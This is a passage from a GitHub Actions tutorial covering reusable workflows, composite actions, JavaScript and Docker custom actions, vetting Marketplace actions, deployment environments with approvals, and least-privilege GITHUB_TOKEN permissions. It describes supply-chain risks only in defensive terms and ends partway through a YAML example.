| Pinned to SHA | org/repo/.github/workflows/build.yml@sha256 | Immutable, auditable references |
For cross-repo calls, the reusable workflow's repository must be public, or if private, the caller repository must be in the same organization and the repository settings must explicitly allow access under Actions > General > Access.
# Pinning to a commit SHA for reproducibility
jobs:
build:
uses: my-org/platform-workflows/.github/workflows/node-ci.yml@a1b2c3d4e5f6
with:
node-version: "20"
# Using a tag for semantic versioning
lint:
uses: my-org/platform-workflows/.github/workflows/lint.yml@v2.1.0
secrets: inherit
Limitations and Gotchas
Reusable workflows are powerful, but they come with constraints you should know before designing your pipeline architecture.
| Limitation | Detail |
|---|---|
| Max 4 levels of nesting | A reusable workflow can call another reusable workflow, up to 4 levels deep. Beyond that, GitHub rejects the run. |
| Caller cannot override jobs/steps | You cannot inject, remove, or modify individual steps inside the reusable workflow. It runs as a sealed unit. |
| 20 reusable workflows per file | A single caller workflow file can reference at most 20 reusable workflows. |
env context not inherited | Environment variables set at the workflow level in the caller are not passed to the reusable workflow. Use inputs instead. |
| Strategy matrix in caller | You can use a matrix to call a reusable workflow multiple times with different inputs, but the reusable workflow itself cannot be parameterized beyond its declared inputs. |
If workflow A calls B, B calls C, C calls D, and D tries to call E — the run fails. Plan your hierarchy carefully. In practice, two levels (caller → reusable) covers most cases. If you're hitting three or more levels, consider flattening with composite actions instead.
Putting It All Together: Matrix + Reusable Workflow
A common real-world pattern is combining a matrix strategy in the caller with a reusable workflow. This lets you fan out the same pipeline across multiple targets without duplicating any configuration.
name: Deploy All Environments
on:
workflow_dispatch:
jobs:
deploy:
strategy:
matrix:
environment: [staging, production]
include:
- environment: staging
replicas: 2
- environment: production
replicas: 5
uses: my-org/shared-workflows/.github/workflows/deploy.yml@v1.4.0
with:
environment: ${{ matrix.environment }}
replicas: ${{ matrix.replicas }}
secrets: inherit
Use git tags (@v1.4.0) or commit SHAs to pin reusable workflow references. Pointing to a branch like @main means every caller gets changes immediately — convenient for development, risky for production. Treat shared workflows like library releases.
Composite Actions: Reusable Step Sequences
A composite action bundles multiple workflow steps into a single, reusable unit. Unlike JavaScript or Docker actions, composite actions are defined entirely in YAML — no programming language required. You package them in an action.yml file, and callers invoke them with uses: just like any other action.
This makes composite actions the fastest path to DRY workflows. If you find yourself copying the same three or four steps across repositories, a composite action turns them into a single line.
The action.yml Structure
Every composite action lives in an action.yml file at the root of a repository (or a subdirectory). The file has four top-level sections: metadata, inputs, outputs, and the runs block that defines the actual steps.
name: 'Setup and Build'
description: 'Install dependencies and build the project'
inputs:
node-version:
description: 'Node.js version to use'
required: false
default: '20'
build-script:
description: 'The npm script to run for building'
required: false
default: 'build'
outputs:
artifact-path:
description: 'Path to the build output directory'
value: ${{ steps.build.outputs.dist-path }}
runs:
using: 'composite'
steps:
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: ${{ inputs.node-version }}
- name: Install dependencies
run: npm ci
shell: bash
- name: Build project
id: build
run: |
npm run ${{ inputs.build-script }}
echo "dist-path=./dist" >> "$GITHUB_OUTPUT"
shell: bash
Let's break down each section and its rules.
Inputs and Defaults
Inputs let callers parameterize your action. Each input has a description, an optional required flag, and an optional default value. Inside your steps, you reference them with the ${{ inputs.<name> }} expression — not env or github context.
inputs:
environment:
description: 'Target deployment environment'
required: true
cache-dependency-path:
description: 'Path to lockfile for caching'
required: false
default: 'package-lock.json'
When required: true is set and the caller omits the input, the workflow fails at the point where the action is invoked. Inputs with defaults are always safe to omit.
Outputs and Value Expressions
Composite actions surface values back to the caller through outputs. Each output declares a value that references a step's output using the steps.<id>.outputs.<key> context. The step must set the output explicitly using GITHUB_OUTPUT.
outputs:
image-tag:
description: 'The Docker image tag that was built'
value: ${{ steps.docker.outputs.tag }}
cache-hit:
description: 'Whether the cache was restored'
value: ${{ steps.cache.outputs.cache-hit }}
The caller accesses these through ${{ steps.<step-id>.outputs.<output-name> }}, where <step-id> is the id assigned to the step that called the composite action.
The Steps Array: run and uses
The runs.steps array is where composite actions do their work. Each step can be one of two types: a run step that executes a shell command, or a uses step that calls another action. You can mix them freely.
run stepUnlike regular workflow steps, composite action run steps must explicitly specify a shell: value. There is no default. Common choices are bash, pwsh, and python.
Here is a composite action that mixes both step types — it uses a third-party action to restore a cache, then runs shell commands to build and test:
runs:
using: 'composite'
steps:
- name: Restore npm cache
id: cache
uses: actions/cache@v4
with:
path: ~/.npm
key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
- name: Install dependencies
run: npm ci
shell: bash
- name: Run linter
run: npm run lint
shell: bash
- name: Run tests
run: npm test -- --coverage
shell: bash
Calling a Composite Action
Consumers reference your composite action from a workflow step using uses:. If the action lives in a public repository, point to the repo and a ref. For actions within the same repository, use a relative path.
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# From a public repository (pinned to a tag)
- name: Setup and Build
id: build
uses: my-org/setup-build-action@v2
with:
node-version: '18'
build-script: 'build:prod'
# Read the action's output
- name: Upload artifact
run: echo "Built to ${{ steps.build.outputs.artifact-path }}"
shell: bash
# From a local path (same repository)
- name: Run deploy steps
uses: ./.github/actions/deploy
Composite Actions vs. Reusable Workflows
Both composite actions and reusable workflows reduce duplication, but they operate at different levels. Composite actions are step-level — they slot into a job alongside other steps. Reusable workflows are job-level — they encapsulate one or more entire jobs with their own runs-on and environment.
| Feature | Composite Action | Reusable Workflow |
|---|---|---|
| Scope | Runs as steps within the caller's job | Runs as a separate job (or multiple jobs) |
| Runner | Shares the caller's runner | Specifies its own runs-on |
| Secrets | Inherits caller's environment automatically | Must be passed explicitly or use secrets: inherit |
| Nesting | Can call other actions (including composites) | Can call other reusable workflows (max 4 levels deep) |
| Hosting | Any repo, referenced via uses: path or ref | Must live in a .github/workflows/ directory |
| Conditionals | Per-step if: only | Full job-level if:, strategy matrix, environment protections |
Use a composite action when you want to package a handful of steps that run on the caller's runner — setup tasks, build sequences, or notification logic. Use a reusable workflow when you need to encapsulate an entire job with its own runner, matrix strategy, environment protections, or when orchestrating multiple parallel jobs.
Practical Tips
Forward environment variables with caution
Composite action steps do not automatically inherit env: variables set at the workflow or job level. If you need an environment variable inside the action, either pass it as an explicit input or re-export it in a run step within the action.
# Inside your composite action — map an input to an env var
- name: Deploy
run: ./deploy.sh
shell: bash
env:
TARGET_ENV: ${{ inputs.environment }}
AWS_REGION: ${{ inputs.aws-region }}
Version your composite actions
Tag releases with semantic versions (v1, v1.2.0) and maintain a major-version tag that floats to the latest compatible release. This lets consumers pin to @v1 for stability while you ship patches and minor improvements without breaking their workflows.
GITHUB_TOKEN scopeA composite action runs with the same GITHUB_TOKEN permissions as the calling workflow. If your action needs to push commits or create releases, the caller must grant those permissions in their workflow's permissions: block — the action itself cannot escalate them.
Building Custom Actions: JavaScript and Docker
GitHub's built-in actions cover common scenarios, but most real projects eventually need custom logic — enforcing team conventions, integrating with internal APIs, or orchestrating complex deploy sequences. GitHub Actions gives you two primary authoring models: JavaScript actions that run directly on the runner's Node.js runtime, and Docker container actions that package an entire environment into an image.
JavaScript actions are faster to start (no container build), while Docker actions let you use any language or system dependency. Understanding both lets you pick the right tool for the job.
Anatomy of a JavaScript Action
Every action — JavaScript or Docker — begins with an action.yml metadata file at the root of the action's repository (or subdirectory). This file declares the action's name, inputs, outputs, and how it runs.
name: 'PR Label Checker'
description: 'Validates that a PR has at least one required label'
inputs:
required-labels:
description: 'Comma-separated list of valid labels'
required: true
github-token:
description: 'GitHub token for API access'
required: true
default: ${{ github.token }}
outputs:
matched-label:
description: 'The first matching label found on the PR'
runs:
using: 'node20'
main: 'dist/index.js'
The runs.using field tells GitHub this is a JavaScript action targeting Node.js 20. The main field points to the compiled entry point — typically the bundled output, not your source file.
The @actions/core Toolkit
GitHub provides the @actions/core package as the primary interface between your code and the runner. It handles input parsing, output setting, logging, and failure signaling. These are the functions you'll reach for most often.
const core = require('@actions/core');
try {
// Read inputs declared in action.yml
const requiredLabels = core.getInput('required-labels', { required: true });
const labels = requiredLabels.split(',').map(l => l.trim());
// Logging at different severity levels
core.info(`Checking for labels: ${labels.join(', ')}`);
core.warning('No "bug" label found — is this intentional?');
core.error('Critical: PR has conflicting labels');
// Set outputs for downstream steps
core.setOutput('matched-label', labels[0]);
} catch (error) {
// setFailed marks the action as failed and logs the message
core.setFailed(`Action failed: ${error.message}`);
}
| Function | Purpose | Effect on Workflow |
|---|---|---|
getInput(name, opts) | Read an input value from action.yml | Throws if required: true and missing |
setOutput(name, value) | Set an output for downstream steps | Available via steps.<id>.outputs.<name> |
setFailed(message) | Fail the action with a message | Step exits with non-zero code |
info(message) | Print informational log line | Visible in workflow logs |
warning(message) | Print a warning annotation | Yellow warning badge in PR |
error(message) | Print an error annotation | Red error badge in PR |
setSecret(value) | Mask a value in all logs | Value replaced with *** |
Accessing the GitHub API with @actions/github
Most custom actions need to interact with GitHub — reading PR data, posting comments, or creating issues. The @actions/github package provides a pre-authenticated Octokit client and the full event context, so you don't need to set up authentication manually.
const core = require('@actions/core');
const github = require('@actions/github');
async function run() {
const token = core.getInput('github-token', { required: true });
const octokit = github.getOctokit(token);
// Context gives you repo, event payload, actor, etc.
const { owner, repo } = github.context.repo;
const prNumber = github.context.payload.pull_request?.number;
if (!prNumber) {
core.setFailed('This action only works on pull_request events');
return;
}
// Fetch labels on the PR
const { data: labels } = await octokit.rest.issues.listLabelsOnIssue({
owner,
repo,
issue_number: prNumber,
});
core.info(`PR #${prNumber} has labels: ${labels.map(l => l.name).join(', ')}`);
}
run();
Bundling with ncc
JavaScript actions must ship with all dependencies — the runner doesn't run npm install for you. The standard approach is to compile everything into a single file using @vercel/ncc. This avoids committing a massive node_modules directory.
# Install ncc as a dev dependency
npm install --save-dev @vercel/ncc
# Bundle src/index.js into dist/index.js (single file, all deps inlined)
npx ncc build src/index.js -o dist --source-map --license licenses.txt
# Commit the dist/ folder — this is what the runner executes
git add dist/
git commit -m "build: bundle action with ncc"
When a workflow references your action at uses: you/action@v1, GitHub clones that tag and runs the main file directly. There's no build step. The compiled dist/index.js must already exist in the repository at that ref. Add a CI workflow to your action repo that verifies the bundle is up to date.
Building Docker Container Actions
Docker actions wrap your code in a container image — useful when your action needs specific OS packages, non-Node runtimes (Python, Go, Rust), or a reproducible filesystem. The trade-off is a slower cold start because the image must be built or pulled on every run.
action.yml for Docker
The metadata file looks similar, but the runs section specifies a Dockerfile instead of a Node.js entry point.
name: 'Security Scanner'
description: 'Runs a custom security scan using system tools'
inputs:
scan-path:
description: 'Directory to scan'
required: true
default: '.'
severity-threshold:
description: 'Minimum severity to report (low, medium, high, critical)'
required: false
default: 'medium'
runs:
using: 'docker'
image: 'Dockerfile'
args:
- ${{ inputs.scan-path }}
- ${{ inputs.severity-threshold }}
Dockerfile Requirements
GitHub Actions expects a specific contract from your Dockerfile: it must have an ENTRYPOINT that runs your script. Inputs are passed both as args (positional) and as environment variables prefixed with INPUT_ (uppercased, hyphens replaced with underscores).
FROM alpine:3.19
RUN apk add --no-cache bash curl jq
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
Entrypoint Script
Your entrypoint receives inputs two ways: as positional arguments (from args in action.yml) and as environment variables. The environment variable approach is more reliable for inputs with special characters.
#!/bin/bash
set -euo pipefail
# Inputs via environment variables (INPUT_<NAME> uppercased, hyphens → underscores)
SCAN_PATH="${INPUT_SCAN_PATH:-.}"
SEVERITY="${INPUT_SEVERITY_THRESHOLD:-medium}"
echo "Scanning ${SCAN_PATH} for issues at severity >= ${SEVERITY}"
# Run your tool
RESULTS=$(find "$SCAN_PATH" -name "*.lock" -exec sha256sum {} \;)
if [ -z "$RESULTS" ]; then
echo "::warning::No lock files found to scan"
else
echo "$RESULTS"
fi
# Set outputs using workflow commands
echo "scan-status=complete" >> "$GITHUB_OUTPUT"
Docker container actions require a Linux-based runner (ubuntu-latest, self-hosted Linux). They will not execute on macos-latest or windows-latest. If cross-platform support matters, use a JavaScript action instead.
JavaScript vs. Docker: Choosing the Right Model
| Criteria | JavaScript Action | Docker Action |
|---|---|---|
| Startup speed | ~1–2 seconds | 30s–2min (image build/pull) |
| Runner compatibility | Linux, macOS, Windows | Linux only |
| Language | JavaScript / TypeScript only | Any language |
| System dependencies | Limited to runner's OS packages | Full control via Dockerfile |
| Reproducibility | Depends on runner's Node version | Fully isolated environment |
| Best for | API integrations, label/comment bots | CLI tools, scanners, multi-lang builds |
Testing Actions Locally
Waiting for a full GitHub Actions run on every change is painfully slow. You can test most of the logic locally before pushing, using different strategies for each action type.
Testing JavaScript Actions
Since your action is just a Node.js script, you can invoke it directly by setting the environment variables that @actions/core reads under the hood.
# Set inputs as environment variables (INPUT_<NAME> uppercased)
export INPUT_REQUIRED-LABELS="bug,feature,docs"
export INPUT_GITHUB-TOKEN="ghp_test1234567890"
# Provide a mock GITHUB_OUTPUT file
export GITHUB_OUTPUT=$(mktemp)
# Run the action entry point
node src/index.js
# Check outputs
cat "$GITHUB_OUTPUT"
For unit testing, mock the @actions/core and @actions/github modules. Jest works well here:
jest.mock('@actions/core');
jest.mock('@actions/github');
const core = require('@actions/core');
const github = require('@actions/github');
test('fails when no PR number is present', async () => {
// Simulate a push event (no pull_request in payload)
github.context = { repo: { owner: 'acme', repo: 'app' }, payload: {} };
core.getInput = jest.fn().mockReturnValue('bug,feature');
const { run } = require('../src/index');
await run();
expect(core.setFailed).toHaveBeenCalledWith(
expect.stringContaining('pull_request')
);
});
Testing Docker Actions
Build and run the container locally, passing inputs as environment variables:
# Build the action image
docker build -t my-security-scanner .
# Run with simulated inputs and a mock GITHUB_OUTPUT
docker run --rm \
-e INPUT_SCAN_PATH="/workspace" \
-e INPUT_SEVERITY_THRESHOLD="high" \
-e GITHUB_OUTPUT="/dev/stdout" \
-v "$(pwd):/workspace" \
my-security-scanner
Publishing to the GitHub Marketplace
Once your action works, publishing it makes it discoverable to the community. The process is straightforward but has a few requirements that are easy to miss.
-
Prepare your repository
The action must live in a public repository. Your
action.ymlmust includename,description, andauthorfields. Add abrandingsection to control how the action appears in the Marketplace.yamlname: 'PR Label Checker' description: 'Validates that a PR has at least one required label' author: 'your-username' branding: icon: 'tag' color: 'blue' -
Create a versioned release
Tag your commit with a semantic version and create a GitHub release. Use major version tags (like
v1) as floating pointers so consumers get patches automatically.bash# Tag a specific version git tag -a v1.2.0 -m "Release v1.2.0: add severity filtering" git push origin v1.2.0 # Move the major version tag (consumers use this) git tag -fa v1 -m "Update v1 tag" git push origin v1 --force -
Publish via the GitHub UI
Go to your repository's Releases page, draft a new release from your tag, and check "Publish this action to the GitHub Marketplace". GitHub validates your
action.ymlbefore allowing publication. Once published, anyone can reference your action withuses: your-username/action-name@v1.
Add a workflow to your action's repository that runs tests, builds with ncc, and verifies that the dist/ output is up to date. This catches the common mistake of editing source code but forgetting to rebuild before pushing. The actions/toolkit repository has great examples of this pattern.
GitHub Actions Marketplace and Evaluating Community Actions
The GitHub Actions Marketplace is a central directory of over 20,000 community-built actions that extend your workflows. Instead of writing custom scripts for common tasks — checking out code, setting up runtimes, deploying to cloud providers — you reference a pre-built action and move on. The marketplace saves enormous amounts of time, but using third-party code in your CI/CD pipeline is a trust decision that deserves careful evaluation.
Navigating the Marketplace
The marketplace lives at github.com/marketplace and organizes actions into categories like Continuous Integration, Deployment, Security, Code Quality, and Utilities. You can search by keyword, filter by category, and sort by popularity. Each listing shows the action's README, usage examples, and a link to its source repository.
A key signal to look for is the verified creator badge. GitHub grants this badge to organizations that have gone through a domain verification process. Actions from actions/* (GitHub's own), aws-actions/*, google-github-actions/*, azure/*, and docker/* all carry this badge. It doesn't guarantee the code is bug-free, but it confirms the publisher is who they claim to be.
You don't need to use the marketplace website to discover actions. You can reference any public repository as an action in your workflow using the owner/repo@ref syntax, whether or not it's listed in the marketplace.
Evaluating Action Quality
Before adding a community action to your pipeline, run it through a checklist. A popular action isn't automatically a safe or well-maintained one. Here are the signals that matter, ranked roughly by importance.
| Signal | What to Look For | Red Flag |
|---|---|---|
| Maintenance activity | Recent commits, releases within the last 3-6 months | No commits in over a year; stale dependency updates |
| Open issues & PRs | Responsive maintainers; issues triaged and closed | Hundreds of unanswered issues; critical bugs ignored |
| Stars & usage | High star count; "Used by" shows wide adoption | Very few stars with no clear organizational backing |
| Security practices | Pinned dependencies, code review, signed releases | No action.yml input validation; shell injection patterns |
| Source transparency | Readable source code; TypeScript/JavaScript you can audit | Compiled/minified dist with no source; Docker image from unknown registry |
| License | Permissive open-source license (MIT, Apache 2.0) | No license file at all |
The "Used by" count on the repository page is one of the most underrated signals. An action with 5,000 stars but only used in 20 repositories might be getting stars from a viral README. An action used by 10,000+ repositories has been battle-tested across diverse environments.
Risks of Third-Party Actions
Every third-party action you use runs code inside your workflow runner with the permissions you've granted. This is powerful and dangerous. The primary risks break down into three categories.
Supply Chain Attacks
If a maintainer's account is compromised, an attacker can push malicious code to a tag your workflow references. This happened in the real world with the codecov/codecov-action incident in 2021 and more recently with tj-actions/changed-files in 2025. When you reference some-action@v3, that mutable tag can be pointed at any commit — including a compromised one.
Secret Exfiltration
A malicious or compromised action can read environment variables and secrets, then exfiltrate them to an external server. Your GITHUB_TOKEN, cloud credentials, and API keys are all accessible to every action step in a job unless you carefully scope permissions.
Code Injection
Actions that process untrusted input (issue titles, PR body text, branch names) without sanitization can be exploited for arbitrary code execution via shell injection.
Mitigation Strategies
You don't need to avoid community actions — you need to use them with guardrails. The following practices significantly reduce your exposure to supply chain risks.
Pin actions to full commit SHAs
This is the single most important practice. Instead of referencing a mutable tag like v4, pin to the exact commit hash. This ensures that even if the tag is moved to point at compromised code, your workflow continues using the version you audited.
# ❌ Mutable tag — vulnerable to tag hijacking
- uses: actions/checkout@v4
# ✅ Pinned to full SHA — immutable reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
Add a trailing comment with the version number so humans can still tell which release you intended. Tools like Dependabot and Renovate can automatically update these SHA pins when new versions are released, so you don't lose the convenience of staying current.
Restrict workflow permissions
Apply the principle of least privilege to your GITHUB_TOKEN. Set restrictive defaults at the workflow level and only grant additional permissions where specific jobs need them.
permissions:
contents: read # default: read-only access to repo
issues: none
pull-requests: none
jobs:
deploy:
permissions:
contents: read
id-token: write # only this job gets OIDC token
Fork critical actions into your organization
For actions that touch secrets or run in production deployment pipelines, consider forking the repository into your own organization. You control when updates are merged, and you're immune to upstream compromises. The tradeoff is maintenance overhead — you need to manually pull upstream changes.
Never set permissions: write-all at the workflow level. A single compromised action in any job could then push code to your repository, create releases, or modify issues. Always grant the minimum scope needed.
Essential Community Actions Worth Knowing
Certain community actions have become de facto standards in the ecosystem. These are widely adopted, actively maintained, and backed by verified creators or well-known organizations. Here's a curated list covering the most common CI/CD needs.
| Action | Purpose | Publisher |
|---|---|---|
actions/checkout | Clone your repository into the runner | GitHub |
actions/setup-node | Install and cache Node.js versions | GitHub |
actions/setup-python | Install and cache Python versions | GitHub |
actions/cache | Cache dependencies and build outputs | GitHub |
actions/upload-artifact | Upload build artifacts between jobs | GitHub |
docker/build-push-action | Build and push Docker images | Docker (verified) |
docker/login-action | Authenticate to container registries | Docker (verified) |
aws-actions/configure-aws-credentials | Authenticate to AWS via OIDC or keys | AWS (verified) |
google-github-actions/auth | Authenticate to Google Cloud via OIDC | Google (verified) |
azure/login | Authenticate to Azure via OIDC or service principal | Microsoft (verified) |
softprops/action-gh-release | Create GitHub releases with assets | Community |
peter-evans/create-pull-request | Programmatically create or update pull requests | Community |
For the first-party actions/* actions, referencing by tag (e.g., @v4) is reasonably safe since GitHub controls those repositories directly. For everything else — even verified publishers — SHA pinning is the recommended practice for production workflows.
Use the step-security/harden-runner action as the first step in your jobs. It monitors outbound network calls, file system changes, and process activity — giving you visibility into exactly what every action in your pipeline is doing.
Putting It Together: A Hardened Workflow Example
Here's what a security-conscious workflow looks like in practice. It combines SHA pinning, minimal permissions, and well-known actions for a typical Node.js CI pipeline.
name: CI
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
build-and-test:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd6fa0f6f4e912c8a44 # v2.11.0
with:
egress-policy: audit
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm test
- run: npm run build
Every action is pinned to a commit SHA with a human-readable version comment. The workflow requests only contents: read permission. The harden-runner step at the top provides runtime visibility. This pattern balances security with developer experience — and tools like Dependabot keep the SHA pins up to date automatically.
Environments, Deployment Protection Rules, and Approvals
GitHub Actions environments are named deployment targets — like staging, production, or qa — that you configure at the repository level. Each environment can carry its own secrets, variables, and protection rules that control when and how a job is allowed to run against that target.
Environments give you a clean separation between "build and test" jobs (which run freely) and "deploy" jobs (which require guardrails). The protection rules are enforced by GitHub itself, not by your workflow code, so they can't be bypassed by editing the YAML.
sequenceDiagram
participant Dev as Developer
participant GH as GitHub Actions
participant Stg as Staging Environment
participant Rev as Reviewer
participant Prod as Production Environment
Dev->>GH: Merge PR to main
GH->>Stg: Deploy to staging (automatic)
Stg-->>GH: Deployment succeeded
GH->>Rev: Request approval for production
Note over GH,Rev: Job pauses — waiting for approval
Rev->>GH: Approve deployment
GH->>Prod: Deploy to production
Prod-->>GH: Deployment succeeded
Referencing Environments in Workflow YAML
You attach an environment to a job using the environment key. When the workflow reaches that job, GitHub checks the environment's protection rules before the job's steps execute. Here's a minimal two-stage deployment workflow:
name: Deploy Pipeline
on:
push:
branches: [main]
jobs:
deploy-staging:
runs-on: ubuntu-latest
environment: staging
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh --target staging
env:
API_KEY: ${{ secrets.API_KEY }}
deploy-production:
runs-on: ubuntu-latest
needs: deploy-staging
environment:
name: production
url: https://myapp.example.com
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh --target production
env:
API_KEY: ${{ secrets.API_KEY }}
Notice the two forms of the environment key. The short form (environment: staging) just names the target. The object form lets you also set a url, which GitHub displays as a clickable link on the deployment status in pull requests and the repository's deployments page.
Deployment Protection Rules
Protection rules are configured in the repository settings under Settings → Environments → [environment name]. There are three built-in rule types, and they stack — a job must satisfy all of them before it proceeds.
| Protection Rule | What It Does | Configuration |
|---|---|---|
| Required Reviewers | Pauses the job and requests approval from designated people or teams | Up to 6 reviewers (individuals or teams); only 1 needs to approve |
| Wait Timer | Delays the job by a fixed number of minutes after it's triggered (or approved) | 0–43,200 minutes (up to 30 days) |
| Branch Restrictions | Limits which branches (or tags) are allowed to deploy to this environment | Name patterns like main, release/*, or refs/tags/v* |
Required Reviewers
When a job targeting a protected environment is reached, GitHub pauses execution and notifies the designated reviewers. The workflow run shows a yellow "Waiting" badge. Any one of the listed reviewers (or any member of a listed team) can approve or reject.
# This job won't start until a reviewer approves it
deploy-production:
runs-on: ubuntu-latest
needs: [test, deploy-staging]
environment:
name: production
url: https://myapp.example.com
steps:
- uses: actions/checkout@v4
- name: Deploy to production
run: |
echo "Deploying commit ${{ github.sha }}"
./deploy.sh --target production
Pending approval reviews time out after 30 days. If no one approves within that window, the workflow run is automatically cancelled. The person who triggered the run can also be a reviewer — GitHub doesn't prevent self-approval unless you configure your reviewer list to exclude the actor.
Wait Timer
A wait timer adds a mandatory delay (in minutes) before the job proceeds. This is useful for bake-time patterns — deploy to production, but wait 15 minutes before marking it complete so monitoring can catch issues. The timer runs after approval if required reviewers are also configured.
# With a 15-minute wait timer configured on the environment,
# this job waits 15 min after approval before steps run.
canary-deploy:
runs-on: ubuntu-latest
needs: deploy-staging
environment:
name: production-canary
steps:
- uses: actions/checkout@v4
- run: ./deploy.sh --canary --percentage 5
Branch Restrictions
Branch restrictions prevent jobs on feature branches or forks from deploying to sensitive environments. If a workflow on the feature/login branch tries to use environment: production, and production is restricted to main, the job is skipped with an error.
# Even though the YAML references production, GitHub blocks it
# if the branch doesn't match the environment's allowed patterns.
deploy:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/main'
environment: production
steps:
- run: ./deploy.sh
Always pair the if: github.ref == 'refs/heads/main' condition with branch restrictions on the environment. The if guard prevents the job from even being attempted (saving runner time), while the environment restriction is the server-side enforcement that can't be bypassed by editing the YAML.
Environment Secrets and Variables
Each environment can define its own secrets and variables. When a job runs with environment: staging, any environment-level secret with the same name as a repository-level secret takes precedence. This lets you use the same secret name (e.g., API_KEY) across your workflow while each environment resolves it to a different value.
# Both jobs use ${{ secrets.DATABASE_URL }} but get different values.
# staging resolves to the staging environment's DATABASE_URL.
# production resolves to the production environment's DATABASE_URL.
deploy-staging:
runs-on: ubuntu-latest
environment: staging
steps:
- run: ./migrate.sh
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
APP_ENV: ${{ vars.APP_ENV }} # environment variable
deploy-production:
runs-on: ubuntu-latest
needs: deploy-staging
environment: production
steps:
- run: ./migrate.sh
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
APP_ENV: ${{ vars.APP_ENV }}
The resolution order is: environment-level → repository-level → organization-level. The most specific scope wins. This applies to both secrets.* and vars.* contexts.
Putting It All Together
Here's a complete workflow that combines everything — a build job, a staging deploy (automatic, with environment secrets), and a production deploy (with required reviewers and branch restrictions configured on the environment):
name: Build and Deploy
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci
- run: npm run build
- run: npm test
- uses: actions/upload-artifact@v4
with:
name: dist
path: dist/
deploy-staging:
runs-on: ubuntu-latest
needs: build
environment:
name: staging
url: https://staging.myapp.example.com
steps:
- uses: actions/download-artifact@v4
with:
name: dist
path: dist/
- run: |
echo "Deploying to staging..."
az webapp deploy \
--name ${{ vars.AZURE_APP_NAME }} \
--src-path dist/
env:
AZURE_CREDENTIALS: ${{ secrets.AZURE_CREDENTIALS }}
deploy-production:
runs-on: ubuntu-latest
needs: deploy-staging
environment:
name: production
url: https://myapp.example.com
steps:
- uses: actions/download-artifact@v4
with:
name: dist
path: dist/
- run: |
echo "Deploying to production..."
az webapp deploy \
--name ${{ vars.AZURE_APP_NAME }} \
--src-path dist/
env:
AZURE_CREDENTIALS: ${{ secrets.AZURE_CREDENTIALS }}
Environment protection rules are only available on public repositories (free) or on GitHub Pro, Team, and Enterprise plans for private repositories. If you're on a free private repo, environments still work for grouping secrets and variables, but the protection rules (reviewers, timers, branch restrictions) won't be enforced.
GITHUB_TOKEN Permissions and Least-Privilege Configuration
Every GitHub Actions workflow run receives an automatic GITHUB_TOKEN — a short-lived token scoped to the current repository. It authenticates API calls, pushes commits, publishes packages, and interacts with pull requests. You never create or rotate this token manually; GitHub generates it at the start of each job and revokes it when the job finishes.
The critical question is: how much power does that token have? By default, it may have far more than your workflow actually needs. The permissions key lets you lock the token down to exactly the scopes required — following the security principle of least privilege.
Default Token Permissions: Permissive vs. Restricted
GitHub offers two default permission postures for the GITHUB_TOKEN, configurable at both the organization and repository level under Settings → Actions → General → Workflow permissions:
| Default Posture | What the Token Gets | When to Use |
|---|---|---|
| Read and write permissions (permissive) | Read/write access to most scopes (contents, packages, issues, PRs, etc.) | Legacy default. Convenient for quick setup but overly broad for most workflows. |
| Read repository contents and packages permissions (restricted) | Read-only access to contents and packages. Everything else is none. | Recommended default. Forces you to declare write scopes explicitly per workflow. |
GitHub has been migrating new repositories and organizations toward the restricted default since 2023. If you're starting a new project, you likely already have restricted defaults. You can verify this in your repository settings or by checking if a workflow that writes to issues suddenly fails with a 403 error.
Organization admins can enforce the restricted default across all repos and prevent individual repos from switching back to permissive. This is a strong security posture for teams and is the recommended org-level setting.
Available Permission Scopes
The permissions key accepts a map of scope names to access levels. Each scope can be set to read, write, or none. Setting write implicitly includes read. Here is the full list of scopes you can control:
| Scope | What It Controls | Common Use Cases |
|---|---|---|
actions | Manage GitHub Actions (workflows, artifacts, caches) | Cancelling workflow runs, deleting caches |
attestations | Artifact attestations | Generating and verifying artifact provenance |
checks | Check runs and check suites | Creating custom check runs, reporting lint results |
contents | Repository contents, commits, branches, tags, releases | Cloning code, pushing commits, creating releases |
deployments | Deployment status and environments | Marking deployments as active/inactive |
discussions | GitHub Discussions | Creating or commenting on discussions |
id-token | OIDC token for cloud provider auth | Authenticating to AWS, Azure, or GCP via OIDC |
issues | Issues and comments | Creating issues, adding labels, posting comments |
packages | GitHub Packages (npm, Docker, Maven, etc.) | Publishing or installing packages |
pages | GitHub Pages | Deploying to GitHub Pages |
pull-requests | Pull requests and PR comments | Commenting on PRs, approving, requesting changes |
repository-projects | Classic project boards on the repository | Moving cards in project boards |
security-events | Code scanning and secret scanning alerts | Uploading SARIF results, managing alerts |
statuses | Commit statuses | Posting build/test status on commits |
Workflow-Level Permissions
You declare permissions at the top level of your workflow file to apply them to every job in the workflow. This is the most common approach and the easiest way to enforce a consistent security posture. Any scope you don't list defaults to none when you use an explicit permissions block — this is the key mechanism that enables least-privilege.
name: CI Pipeline
on: [push, pull_request]
# Workflow-level: applies to ALL jobs
permissions:
contents: read # Needed to checkout the repo
checks: write # Needed to report test results as check runs
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
In this example, the token can read repository contents and write check runs. It cannot write to issues, pull requests, packages, or anything else — those scopes are implicitly set to none.
Job-Level Permissions
When different jobs require different scopes, you can set permissions at the job level. A job-level permissions block completely overrides the workflow-level block for that job — it does not merge with it. This lets you tighten the scope per job, giving each job only the exact permissions it needs.
name: Build, Test, and Deploy
on:
push:
branches: [main]
# Workflow-level default: read-only for contents
permissions:
contents: read
jobs:
build:
